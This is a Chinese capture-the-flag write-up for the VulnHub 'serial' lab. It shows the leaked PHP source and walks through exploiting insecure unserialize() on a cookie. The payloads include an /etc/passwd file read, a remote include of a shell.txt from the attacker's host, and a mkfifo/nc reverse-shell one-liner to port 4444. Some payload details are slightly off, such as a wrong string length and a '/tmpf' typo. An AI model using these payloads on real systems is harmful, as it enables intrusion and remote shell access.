vulnhub之serial

这次我们来做这个靶场

项目地址https://download.vulnhub.com/serial/serial.zip

使用vm新建虚拟机

以下为注意事项

第一步,收集资产

扫描靶场ip

netdiscover -i eth0 -r 192.168.177.0/24

抓个包

扫描目录

看到了cookie中有一个user

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086NzoiV2VsY29tZSI6MDp7fX0%3D

去问问ai这是像是编码

O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}

看不懂,算了,爆破目录吧

dirsearch一下

下载他的备份,发现三个文件,看一看

这是每个php文件,并使用ai加了注释

index.php

<?php
	// 引入用户类文件 user.class.php
	include("user.class.php");

	// 如果 $_COOKIE['user'] 未设置
	if(!isset($_COOKIE['user'])) {
		// 设置 cookie,使用 base64 编码和序列化后的用户对象
		setcookie("user", base64_encode(serialize(new User('sk4'))));
	} else {
		// 如果 $_COOKIE['user'] 已设置,则尝试反序列化并解码
		unserialize(base64_decode($_COOKIE['user']));
	}

	// 输出一条消息,说明这是一个新 cookie 处理器的测试版
	echo "This is a beta test for new cookie handler\n";
?>

log.class.php

<?php
  class Log {
    private $type_log; // 私有属性,用于存储日志类型的文件路径或句柄

    function __costruct($hnd) { // 构造函数,接受一个参数用于设置日志类型
      $this->$type_log = $hnd; // 将传入的日志类型参数赋值给类的属性 $type_log
    }

    public function handler($val) { // 公共方法,用于处理日志
      include($this->type_log); // 动态包含类属性 $type_log 指定的文件
      echo "LOG: " . $val; // 输出日志信息,格式为 "LOG: " 后跟 $val 的值
    }
  }
?>

user.class.php

<?php
  include("log.class.php"); // 引入日志类文件 log.class.php

  class Welcome {
    public function handler($val) {
      echo "Hello " . $val; // 输出欢迎信息,格式为 "Hello " 后跟参数 $val 的值
    }
  }

  class User {
    private $name; // 私有属性,用于存储用户名
    private $wel;  // 私有属性,用于存储 Welcome 类的实例对象

    function __construct($name) { // 构造函数,接受一个参数 $name 用于设置用户名
      $this->name = $name; // 将传入的 $name 参数赋值给类的属性 $name
      $this->wel = new Welcome(); // 创建 Welcome 类的实例对象,并赋值给属性 $wel
    }

    function __destruct() { // 析构函数,在对象销毁时自动调用
      //echo "bye\n"; // 注释掉的代码,本意是在对象销毁时输出 "bye"
      $this->wel->handler($this->name); // 调用 Welcome 类的 handler 方法,向其传递当前对象的用户名参数 $this->name
    }
  }

?>

审计完成代码,我们对抓包内容进行更改

O:4:"User":2:{s:10:"Username";s:5:"admin";s:9:"Userwel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}

加码

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==

构造语句

O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:25:"http://192.168.3.237/shell.txt";}}
/?cmd=rm+tmp/f%3bmkfifo+/tmp/f%3bcat+/tmpf|/bin/sh+-i+2>%261|nc+192.168.177.142+4444+>/tmp/f

网上找的攻击语句

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值